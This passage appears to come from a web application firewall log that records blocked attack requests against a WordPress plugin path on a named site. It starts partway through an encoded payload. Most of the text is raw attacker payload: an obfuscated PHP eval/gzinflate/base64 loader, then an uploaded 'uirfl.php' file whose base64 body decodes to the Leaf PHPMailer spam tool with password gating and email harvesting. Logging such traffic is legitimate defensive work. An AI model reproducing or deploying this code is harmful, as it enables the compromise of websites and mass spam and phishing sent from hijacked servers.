JmK2tYYVJmNTIvQU1venlwZzNXcmdVSDg4eHZsdC9ISU4vS2FjdnY2SHZuWXJHM1k2K1lKY3RCQ251QTVjeXk5OVltMUdlREl1ZmJmNmtmSmNoUjhTMDQ1eTlQU0k0NFBSVXRja2hJZkJza0lqUUZRZVhDdmE3TzBQdWo0aUp1NWpleFVtOEFaWnU0WVBiaDJmd05aWTlGYlFLNkhSK2k4aTFOUzBKVzBjM3dGcTBiempJOTJNTGNpaUpDc2REUVM3SEpzbEhKckRZQlp5QTd1ejBnSWZjQnI0ckhFRVFzQVZBaGRXV3hab1B2TExXUGc1T1JlS2hBOTlzQXVCQTRKT0VaVVpYU1g3aTJZOHVmVkRRejVYT2h5dHlMVFlQWmtPQzNkeG5ENTU0QmgvczdNUUxvTUdYK1NtWk5XczlxcG52aVpna0dQUjVtRFRCSXpKK2NBZTk1STZERDJLN2YrMlRudE44VDIwTm03N0RjWmt0NGcvRXNHQStjd1lZZ3hiTUdMR2dtVElYY1RaZVFzd1BRUUJOdFdhcVFacnpnSlc1N3hyNGJwalZ2WlUwb0JjL282Q3RqcGJVQ01QRUVMMTBDSDFNQWViNEtBVDU2K3VlWnZxeGd3UHZUY05EN3R2OGtqNEI4SFRjaHc0ZXkrUWF6MGIzQkRwS2J1Z0JaZGVwQnJzc2Z3SGE5YU8rdHozM2pVQTM3OVVheTJ0RUVlMUd6UVN6SDMrejNTY3Z6YzZnU0V0L1Q3RWR5UC9sZzlodjZ2N2wrUGl3MUdnTmpIc3VPZ1JNQTY0SUd4QUNTYldlelQ1QVJIQjAxU003N0NDN0hlQUo2V25jU1VRcittaXVzZjFBV0xnQnVDMTFBemNSek5aNHVidERWeE50SXoya1Jac3dXWkE4SGRkQWc4d3FRMVRxbE1LRXhadE9JbXhBTFM0R1NnWk5mMnJmRzgzZVVCRm1BSU9rak1qOCthTHEvc0lBTytpTTU1NmlRY29lWTk3NXpHeTBqV0VYNUE2VVYvQVFic0kvbnVLQXA0QmhNZ05CT1JhOENOOWhsS0k1d1VBcTBMa2dtdHRwd0pLZGkrc2ZUdG5hQ01iNjNhL3VhOGVXSDFMRjlHeXN6MUM0VFk5SzEyNURnSEl2L1RNSVdKc1Q2WjJFNHRVYmV3UDNPR25lNGhGYndxWEVsMU43eGY4ME84cjA4UVViaDJWa2xCTGg2WFFOWGVnUmcvQkJWRnpVc3dOcHpqdDIzTlowcit4QjhjdFJQQ0pIcmVYMUlBOTJnTDF5Wmd0TEE1aXZUNk0wa2xJRnE4SFpXNldiNkJZZlQ1R2hkSkFEMDh5TlBjZ1VaTi8vQUpYd0VvdkJ3eFJLcFYzTTc1QXB4QXU5U3dQVDljK1lOREw3dVV3eGdETlltRkgydDBzaFRqM1FBVzJ2VGpyaGxHWUVpSDAyVlA0SVpXU24yQUxqRXZHSUU1NUhOY202bmVrU1d4T29QMDBNMDlvKzRkNzJDOUtoWk1OZ0NRU2lzb3hUMmNYRFBXaGY2SmJzRGh3SFpSczVma0lxZlFjZXhDSkFwd2NBdlVPMWJmSDNPb1QxUWtlV25RU2tMbUlPVzNVdFF3Y3A0SFRLaThOMEhmK3VOeWpQUlJXWU1kRGE1Ny8rd2xnNFhFdHpSNDZQcHlJc1h3NjJsWGxFZE0yeTNKalQrTXVXeXpwMlZ0Z01WaDcvUEtmMExod3dUKzd2b1JzMzZlKzNJUU9EYSttdWpDb3dsSS9KbGRwKytxc1U5TFN6bElNUmd5N1g3Syt3UDQrSDQzZy93R2FERjdjUGJmQ0hJemIzbWxlOGJPeXZCR25CdDFzQkdJZWlVcXdlYno0TU1LNm1CRFU2WEhhWjI1dGU1WmtGZDdYT0g3VnRhVVplVUNVVEIrWFR4MFNaSW9TcVpHTXk0NGNyWDh3MUxIbXk3UEZYeEEvMjRUSXlDWmJJelF4a0s2VVg5NENFUVJpSHpHR0htTGNaZGdkY1Q4UEZlWU05ZmNlQTFpc29mazA2ZVo0b3NHcDFUcTBWa3NhVFVlSjQxQVMrTzhVUzd2KzIzNFRHVHRSc3ZWRWhMTm5sY05FTms2eFpubjI2cldKeEZTa2hxN1VNbFlra21MTlJwNU1sWU1CZUVaNVBxRWZ6dEM4aHY4WUtIUENaakI3MkYwN3U1aFo0OE9UMU9IbkdLb1lUY2VCN285aEZHeDRqNUN6L0JyT3dEeFVJclkzZklmN2RwdTFzTVdhSWNHSkRuUHNqbWFNSll2SlhoMVBvd296ZWhmaUEzSjJpdzBIenh1UzlKcklvaUlYWE1LSC9YeHlLZ2YvdzRlTGc0TGtmclVBUWZlL0FPNXB0akdKWjIxdldXM0ZqQ2h6WFMwYStxZTRPNGlTS09zcXBIYWdzT2lSS2ttbXRyQS94cC9YbzZ2bDZiSFJHZXRWMEZ3Y0Q0clVIOXNhdWhSNFJDaDE3ZUNaRjNtM3MzU3BvdERZMXVhck1sUExaMm5kaVJ6MWpuVW9xYTlTUHpaWHlKS1QzREhzWG1jMXRjQ2pEemNnWVpIUHZsUVZxM0x0eHgrdERDSWpUWVBiU3prTnFtRk5tNm1zSmlLbjAwYnRmNXZYSzJBSlcrWG52Z0xHSEpjTTZJYjVhR1pBaThPQzJ4dS9IeTM4bEpjU2VXaW9JQXNySTdraEpiSS9UdGtGQkZjR3dSK1lrbU11QjdPbzhEdmsxLyt0cnZWTzU2cEY1RFltQXY2SGNtZ2ZEYitRc1VBS3p2L3NFNEJFN2dtZTJEL21QTFR6OEF2ZGYyUEhwQ1p6TFBvTlNody9kZGt2bWdONHYzS25CS2Jaa1BZYnBLMEVGamxHOXZrTm0zbFNQaE9KekloZ2ZSQkZ4bFNvbUk3M0VzWmUvK2hOSW1hdi81cmk4dFpKTXhqbE9HVWlCL2FEbDlaUi9Keis1ZFVsbjlZRFA0bmt0N0lSUDVPejJraTRqdGxVcW15aFFZQnVoRi9mYUtOSXBCVGhVWUYvRlZBVzQrVGNJbGQ5cHgyaEI5bDBmOXFLd1FhR2VIVTdCZXYrYmtxM3BrMEh1RDNoVnI3Y0QwU3hHUVloekhZYTc5MkxLTXdIQ2V6UnIrR1lReUFMOWpDaGx3Mk4raDRWTGY0QWlIOGhBQllkK2RnVEVzT1pSVGpUeTd0dTM1dkVHYncyNzlUamloYUVUaEU5bFhudEJYM2U4OTBiclh2NmFTdUlxSGc0eHBqNENhenkyRXc2RkcxWUdmYndOb2VxdzRGcXhLWUdSMHQwY0gxS3BROGIwQzhqZ2dWOGx2a0hOampsY01QL3U5cDI3TWI4d24vcCtLNGdjeWdIMFEvdDVGbmE0bVlHYVh5dlZORnV1UTZSbEhKUXRRcFJlUkxTL0tBRVNVSGlZb21GdndGZElFbEdIbjdCN2J6U0duRFRuLzZUNk9CL0xaeHl2S2NGL00rQTlqN2hmKzdHbmhyYitPOWtESVQyZmFoVXJ5dm9VSEVOUVRScUg1QUpVMDVKWjNSWXdkdjdGYU1NME1IdFdtaGlyUjRjNHlwd0VWd1JjcmY0L0NnOGZQQno0enh1NEVpRGl2aWlhay9vMlE0SUxUbFBFV0xldWhINnoyQUtDQXZlVVM1Yy8ySEhlSUI5OTdKQWx2ZGxLTDBOSEJKODdUdThWLzlYNmhPMnphY3E4THgvSmhJNEd3M044TFVTZEVRVG9ZZzEydXl0dFJPWmNpV0pvQk5QdVpZQ1VBZU41N2NuS0tBVTB5Y2FJMnNEVWN5RmE4S1BiWE1pLzVzL2ZCSk0weitvcWJHVzlwSnV6Nis3dm4zZ2hmSzMydi8yeFFrU3VpczNDUEpOd0dSWGdvcmdweUtDakFvWmsrU1ptWDhXYSsvZjR4WUNMRXZqd1p3bEhKallaeGo5Nm51RUYra0xZdVVRRTdsUHJnZUl3ZE5hZ1Q4SGtZRi9xeUw1b3dNUDNISTkzV0dLbTloQzNJNUVMNXBmdnpOazVSUER0VFNCR2hKZWI5dzBXWDlwdXd0Vlc2QWJLVFYrcEFJRjY5MGk3ck9vZGFXeDh6bnhYc3FjdmZsZHNTL2VRVWYrb05vSnBuOWM1eHpBM0RBUXoycjR6TlNjaEw4bi9VWm9hN00wN0JRYytJRFZsOWxsOGNpbDQrYnVzU1lHSjVnbUVyOGJUR2pMR1BSOWNmSE04YVhPWTh3LzUzV05GYVlCdkgvaGZnN1l0NW5RMnhvOWN5S3RENHhsQkJmeVM5RlJNSlladU94WUUwS3JZYkQ3Q01paWRnTDdxa3pyR0lONmN1OWt6OGdUSCtMSjU5N0RXTlhUTlBGamVjZUNDRHF3QzAyelA4Q0czKzlUZTRlelhWMzNQcUN4YTRBaWNScHhNS05wZUJTYnhYMCs0SXpzWGtmSTFxMy9mL3liTUdnZGpUUDRBK3FmWUZFNUVQTmFjQjRPcWVjRkE1KzVkTHlGTmpzd1ZsLy9OcWNQODZ5UWhranJkeFAzYWxrcFRtSFl4RXJwb1JpcFltWnNINm50OWgza0t5VkRGWGtYaDBMOUZsRUQyTytqUm5nZjVKQWFLNTJJczc4Y3hFaXVyclkrV25FR1BMWFROdEpPWU0xZmlybldzUGlDMWdvWnVib0lEM1ByOGVTdmdLWUhaNnUwV1hZb0tKandRYldDeFdBNnVac0NsWWdQRE5zQlRxNWR2SE1GZm9ZTGI5eG52YmpoMVBmbWJ2MGozWnp0VDNoekZSNmdqbU5seFMzRE9IRU1STVRLUUh5WEl6eElXMU5GUnBaaWs0RW05bFpwcVl1MFJKZHlVVThIT2R2SHY1dlZCT3I4WUhGL0JiNURWbE1sRnRGS0hNWjZMbUcwbC9JS3h1L2lFWkpwMDlkSFR4LzlucXpRcHRPTTd2enNkeVZnd095VG5SRzVGLzUxRVI5ckgweVJOWXdJdmNMV291RDNPM0IrSkJBdGEyTTJOWVArZGFseXJ6T2xvYURMd3NpNXpySUhzazYwcFYxOEw1MndGMTFPWERrYmNYQWV6QlNqa29FWkpEcDE4YitOa3QxdXVIeHU2Q2dDMG5mbDhzZDIvOEtGUnlUZEJ0NmZXZ1lMNUJYNzZxeFI0LzkxeW1qQlRaRHo4T2tKSCtsd3pucytJYXdiVEFGQ1cxV2l0RUU4SlR6SkMxUkZsTzcwdGlmRWVCRXU0M3pzb1p3NlpYY3JBMU1HeHZnRjdNQmNYdjF2TVgzSWE1V2NMMjdyeEZkS09iMWNQM1JBMzRIUXpGK3B3Y3UwQjUvOXQ5RmR6WFZNeG53NGt5UzVZL0tHVHdoL05XMW01bUpodDlSa1Z2eFh3M0RKSTNFWnA3eUoxVXo4dTdpblhmaXNQTGc4MnI0ZThvVS9Xck9aUjRlcGZ4U1dkZWlHVEFaK01MSWRFc3o3RE1WZVduSkdza3YzSUZhTzN5TVd0WmRpWUw3Y0tjVWZXTVRkdnc0akU3dFB2aUVTY1FjOUJPOFdUZityUGQxRnJiVERRL3hqLzRBOVRmdDRJUmd0eU4zMC84WEFpbzJQMTlEckZZWTN2Y2x1Rm5ndjA3dDNGbm4xMzhxenh2Rk8vWGYrT2lRUU0zWU1hU0gvNHlmWDUyVy9BQ1Bsci84enNodmZ0dlFqMHY3YnV0ZHlQV2liNktsRzROZi9JblU0TVBPc2ZVUm4wWXI2VnBiL3B2UmtxbWYyRklZNzB1eEVtcGZZOHQvYXJsZFdmRWdqTDM2SUJHenNRS2U5UFJUc09ieG1yb2QrcnVvamFhYUpFekMybjl1aGMvcksyTXYzKzc2VkhaY2VaTzN2TkV1akc0YWtSTGRhNEo3S0laS2ViLzdUVk1ZVDNsM1Q5Y2tBOHc5NStjLzJIMzRkKzVJTUp6L3hYejBBdndLTkh1TlR2VDVoQnNUZi85YmJKVFRwWUZ4SE92NjNyL08wci9weHl6Mlo0SGZUTjQwTlRXWWVyMkNGN01LejJEZmZLZGVkRDNkMS8rekVWbFhXdXluUGJvZUk3OUgzdi9oTzI5ZFBicFA0N0pFUFJ5cUg0KzhiS1NMbTNyVnI0bitseUlsaysra1hTbHhpc3ljMnlldnpYRU9lcnN6K1JENFcwN2p0djB0RVMvNlQ2cXA1ditiSGJrbjlkTkFPK3ZwR2VrcnVDN3piVkU3a0VaenhlNENYLysrbmhTMjRsL2FXZU1PR2h3dGxkTjdHekdzNEgrNXlPSjMrZEhVc25qazVNTHZlMlQ2NGtyRytvV0YrR2ZvOXd2L3lUWmRZdmd6bEhpeldWUjJaaU5rN3h2OUIrMGhOVTlBc2YvNGFLVVpiclZkOEtwV1Z5aGZMT2JLVjRqYlJjeTBFaExiZTNZSTJ1UUUySmJjTmY0ZXB5VlN4cDQvOHV6b0pJT3haSjFHL3pQU0ZPbUdMQ1RnUUtXWlF3THhhUWE3dE9rRlpJa0dSOGVKZnY0VjhMbjRTbVIvN0xLT08wb2l3T2tubmVvMzcvY2k5Z0ZBajQ2cEZRditqRXgyWkxFeTFBRk5qY3lkaUkwSHpCSWYrcEIzWE1JU2hBSEQrdnduelBSUUVtRk9JM3U5dVRsSG9odW52RlZUaEduSlIzNzluLy84TjI3UXZkZDM2LzM2L3ZzZzhwdjU1Zit1NE1GLzhMY0pqc2pIMndETjV4OWR3LytTODA1YURWTTB3MS9OdlRScHAxY2VSYVFkTDBrdTNrWE9GRUpjOXZQaDFPUDd1bWlRcmJxNzZCRzd1Z0taYXFYTmZuSHlvbDc5aVcrU3V1T3A4WTZONjltM1g5dW52OC92MnZ2NVZuYy9mLy9kdDMvc0hVQi8vVy8veDlFVDYvS2NDOXovbC8wLzVmV1RGRWFsNTQvM3ovL3lPR2padnNpWHgvdnovL2wrLy84Ly85L3Z4L3Y2Ly8wVlZ6L0gvdjdIY3dCRGNJY0dhMjk3NXRxUFVuWmliU1lyNG83VFFZTGFaOWgvbHdxcm9GMFQyb0pGaldlR2JOMDNueHAyVWlESnppc0gxTFRjaTNmd0Q0REE4SDhBK0FBIjsKZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkc3R0MSkpKSk7Cg==\"));\r\n--f26f834877fd10c00232a496196eead5\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--f26f834877fd10c00232a496196eead5\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--f26f834877fd10c00232a496196eead5\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--f26f834877fd10c00232a496196eead5--\r\n"]
["2026-05-26 21:39:26","170.205.30.68","POST","\/wp-content\/plugins\/hodda\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/hodda\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=27639e0c254dd3a28988727e0b486227\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:222320\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--27639e0c254dd3a28988727e0b486227\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--27639e0c254dd3a28988727e0b486227\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--27639e0c254dd3a28988727e0b486227\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"uirfl.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\n$password = \"xleeeeet\"; \/\/ MaILER Password \n\n\neval (base64_decode(\"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgcHJpbnQgIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3Bhc3MnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiI7CiAgICAgICAgZXhpdDsgICAgICAgIAogICAgfQp9CgpzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CgoKZnVuY3Rpb24gbGVhZkNsZWFyKCR0ZXh0LCRlbWFpbCl7CgkkZSA9IGV4cGxvZGUoJ0AnLCAkZW1haWwpOwoJJGVtYWlsdXNlcj0kZVswXTsKCSRlbWFpbGRvbWFpbj0kZVsxXTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstdGltZS1dIiwgZGF0ZSgibS9kL1kgaDppOnMgYSIsIHRpbWUoKSksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWwtXSIsICRlbWFpbCwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1lbWFpbHVzZXItXSIsICRlbWFpbHVzZXIsICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWxkb21haW4tXSIsICRlbWFpbGRvbWFpbiwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21sZXR0ZXJzLV0iLCByYW5kU3RyaW5nKCdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eicpLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbXN0cmluZy1dIiwgcmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbnVtYmVyLV0iLCByYW5kU3RyaW5nKCcwMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbWQ1LV0iLCBtZDUocmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JykpLCAkdGV4dCk7CiAgICByZXR1cm4gJHRleHQ7ICAKfQpmdW5jdGlvbiBsZWFmVHJpbSgkc3RyaW5nKXsKCSRzdHJpbmc9dXJsZGVjb2RlKCRzdHJpbmcpOwogICAgcmV0dXJuIHN0cmlwc2xhc2hlcyh0cmltKCRzdHJpbmcpKTsKfQpmdW5jdGlvbiByYW5kU3RyaW5nKCRjb25zb25hbnRzKSB7CiAgICAkbGVuZ3RoPXJhbmQoMTIsMjUpOwogICAgJHBhc3N3b3JkID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRwYXNzd29yZCAuPSAkY29uc29uYW50c1socmFuZCgpICUgc3RybGVuKCRjb25zb25hbnRzKSldOwogICAgfQogICAgcmV0dXJuICRwYXNzd29yZDsKfQpmdW5jdGlvbiBsZWFmTWFpbENoZWNrKCRlbWFpbCl7CiAgICBpZiAoZmlsdGVyX3ZhcigkZW1haWwsIEZJTFRFUl9WQUxJREFURV9FTUFJTCkpIHJldHVybiB0cnVlOwogICAgZWxzZSByZXR1cm4gZmFsc2U7Cn0KIyBCdWxpdC1pbiBCbGFja0xpc3QgQ2hlY2tlciAKaWYoaXNzZXQoJF9HRVRbJ2NoZWNrX2lwJ10pKXsKICAgIGlmIChpc3NldCgkX0dFVFsnaG9zdCddKSl7CiAgICAgICAgJF9HRVRbJ2hvc3QnXT1leHBsb2RlKCIsIiwgJF9HRVRbJ2hvc3QnXSk7CiAgICAgICAgZm9yZWFjaCAoJF9HRVRbJ2hvc3QnXSBhcyAkaG9zdCkgewogICAgICAgICAgICBpZiAoY2hlY2tkbnNycigkX0dFVFsnY2hlY2tfaXAnXSAuICIuIiAuICAkaG9zdCAuICIuIiwgIkEiKSkgJGNoZWNrPSAiPGZvbnQgY29sb3I9J3JlZCc+IExpc3RlZDwvZm9udD4iOwogICAgICAgICAgICBlbHNlICRjaGVjaz0gIjxmb250IGNvbG9yPSdncmVlbic+IENsZWFuPC9mb250PiI7CiAgICAgICAgICAgIHByaW50ICdkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiJy4gJGhvc3QuJyIpLmlubmVySFRNTCA9ICInLiRjaGVjay4nIjsnOwogICAgICAgIH0KCiAgICAgICAgZXhpdDsKICAgIH0KICAgICRkbnNibF9sb29rdXAgPSBbCiAgICAgICAgImFsbC5zNWgubmV0IiwKICAgICAgICAiYi5iYXJyYWN1ZGFjZW50cmFsLm9yZyIsCiAgICAgICAgImJsLnNwYW1jb3AubmV0IiwKICAgICAgICAiYmxhY2tsaXN0Lndvb2R5LmNoIiwKICAgICAgICAiYm9nb25zLmN5bXJ1LmNvbSIsCiAgICAgICAgImNibC5hYnVzZWF0Lm9yZyIsCiAgICAgICAgImNkbC5hbnRpLXNwYW0ub3JnLmNuIiwKICAgICAgICAiY29tYmluZWQuYWJ1c2UuY2giLAogICAgICAgICJkYi53cGJsLmluZm8iLAogICAgICAgICJkbnNibC0xLnVjZXByb3RlY3QubmV0IiwKICAgICAgICAiZG5zYmwtMi51Y2Vwcm90ZWN0Lm5ldCIsCiAgICAgICAgImRuc2JsLTMudWNlcHJvdGVjdC5uZXQiLAogICAgICAgICJkbnNibC5hbnRpY2FwdGNoYS5uZXQiLAogICAgICAgICJkbnNibC5kcm9uZWJsLm9yZyIsCiAgICAgICAgImRuc2JsLmlucHMuZGUiLAogICAgICAgICJkbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJkcm9uZS5hYnVzZS5jaCIsCiAgICAgICAgImR1aW52LmF1cGFkcy5vcmciLAogICAgICAgICJkdWwuZG5zYmwuc29yYnMubmV0IiwKICAgICAgICAiZHluYS5zcGFtcmF0cy5jb20iLAogICAgICAgICJkeW5pcC5yb3RoZW4uY29tIiwKICAgICAgICAiaHR0cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJpcHMuYmFja3NjYXR0ZXJlci5vcmciLAogICAgICAgICJpeC5kbnNibC5tYW5pdHUubmV0IiwKICAgICAgICAia29yZWEuc2VydmljZXMubmV0IiwKICAgICAgICAibWlzYy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJub3B0ci5zcGFtcmF0cy5jb20iLAogICAgICAgICJvcnZlZGIuYXVwYWRzLm9yZyIsCiAgICAgICAgInBibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJwcm94eS5ibC5nd2VlcC5jYSIsCiAgICAgICAgInBzYmwuc3VycmllbC5jb20iLAogICAgICAgICJyZWxheXMuYmwuZ3dlZXAuY2EiLAogICAgICAgICJyZWxheXMubmV0aGVyLm5ldCIsCiAgICAgICAgInNibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJzaG9ydC5yYmwuanAiLAogICAgICAgICJzaW5ndWxhci50dGsucHRlLmh1IiwKICAgICAgICAic210cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzb2Nrcy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzcGFtLmFidXNlLmNoIiwKICAgICAgICAic3BhbS5kbnNibC5hbm9ubWFpbHMuZGUiLAogICAgICAgICJzcGFtLmRuc2JsLnNvcmJzLm5ldCIsCiAgICAgICAgInNwYW0uc3BhbXJhdHMuY29tIiwKICAgICAgICAic3BhbWJvdC5ibHMuZGlnaWJhc2UuY2EiLAogICAgICAgICJzcGFtcmJsLmltcC5jaCIsCiAgICAgICAgInNwYW1zb3VyY2VzLmZhYmVsLmRrIiwKICAgICAgICAidWJsLmxhc2hiYWNrLmNvbSIsCiAgICAgICAgInVibC51bnN1YnNjb3JlLmNvbSIsCiAgICAgICAgInZpcnVzLnJibC5qcCIsCiAgICAgICAgIndlYi5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJ3b3JtcmJsLmltcC5jaCIsCiAgICAgICAgInhibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJ6Lm1haWxzcGlrZS5uZXQiLAogICAgICAgICJ6ZW4uc3BhbWhhdXMub3JnIiwKICAgICAgICAiem9tYmllLmRuc2JsLnNvcmJzLm5ldCIsCiAgICBdOwogICAgJHJldmVyc2VfaXAgPSBpbXBsb2RlKCIuIiwgYXJyYXlfcmV2ZXJzZShleHBsb2RlKCIuIiwgJF9HRVRbJ2NoZWNrX2lwJ10pKSk7CiAgICAkZG5zVCA9IGNvdW50KCRkbnNibF9sb29rdXApOwogICAgbGVhZmhlYWRlcigpOwogICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNiI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkJsYWNrbGlzdCBDaGVja2VyPC9zbWFsbD48L2gzPic7CiAgICBQcmludCAiQ2hlY2tpbmcgPGI+Ii4kX0dFVFsnY2hlY2tfaXAnXS4iPC9iPiBpbiA8Yj4kZG5zVDwvYj4gIGFudGktc3BhbSBkYXRhYmFzZXM6PGJyPiI7CiAgICAkZG5zTj0iIjsKICAgIHByaW50ICc8dGFibGUgPic7CiAgICBmb3IgKCRpPTA7ICRpIDwgJGRuc1Q7ICRpPSRpKzEwKSB7IAogICAgICAgICRob3N0PSIiOwogICAgICAgICRob3N0cz0iIjsKICAgICAgICBmb3IoJGo9JGk7ICRqPCRpKzEwOyRqKyspewogICAgICAgICAgICAkaG9zdD0kZG5zYmxfbG9va3VwWyRqXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRob3N0KSl7CiAgICAgICAgICAgICAgICBwcmludCAiPHRyPiA8dGQ+JGhvc3Q8L3RkPiA8dGQgaWQ9JyRob3N0Jz5DaGVja2luZyAuLjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgJGhvc3RzIC49IiRob3N0LCI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGRuc04uPSI8c2NyaXB0IHNyYz0nP2NoZWNrX2lwPSRyZXZlcnNlX2lwJmhvc3Q9Ii4kaG9zdHMuIicgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz48L3NjcmlwdD4iOwogICAgfQoKICAgIHByaW50ICc8L3RhYmxlPjwvZGl2Pic7CiAgICBwcmludCAkZG5zTjsKICAgIGV4aXQ7Cn0KaWYoaXNzZXQoJF9HRVRbJ2VtYWlsZmlsdGVyJ10pKXsKCiAgICBpZighZW1wdHkoJF9GSUxFU1snZmlsZVRvVXBsb2FkJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkX1BPU1RbJ2VtYWlsTGlzdCddPSBmaWxlX2dldF9jb250ZW50cygkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsidG1wX25hbWUiXSk7IAogICAgfQogICAgJF9QT1NUWydlbWFpbExpc3QnXT1zdHJ0b2xvd2VyKCRfUE9TVFsnZW1haWxMaXN0J10pOwogICBpZigkX0dFVFsnZW1haWxmaWx0ZXInXT09ImlmcmFtIil7CiAgICAgICAgaWYgKCRfUE9TVFsncmVzdWx0dHlwZSddID09ICJkb3dubG9hZCIpewogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXIiKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZW1haWxzIi50aW1lKCkuIi50eHQiKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CiAgICAgICAgfQogICAgaWYoJF9QT1NUWydzdWJtaXQnXT09ImV4dHJhY3QiKXsKICAgICAgICAkcGF0dGVybiA9ICcvW0EtWmEtejAtOS5fJSstXStAW0EtWmEtejAtOS4tXStcLltBLVphLXpdezIsNH0vJzsKICAgICAgICBwcmVnX21hdGNoX2FsbCgkcGF0dGVybiwgJF9QT1NUWydlbWFpbExpc3QnXSwgJG1hdGNoZXMpOwogICAgICAgIGZvcmVhY2ggKCRtYXRjaGVzWzBdIGFzICRlbWFpbCkgewogICAgICAgICAgICBwcmludCAkZW1haWwuIlxuIjsKI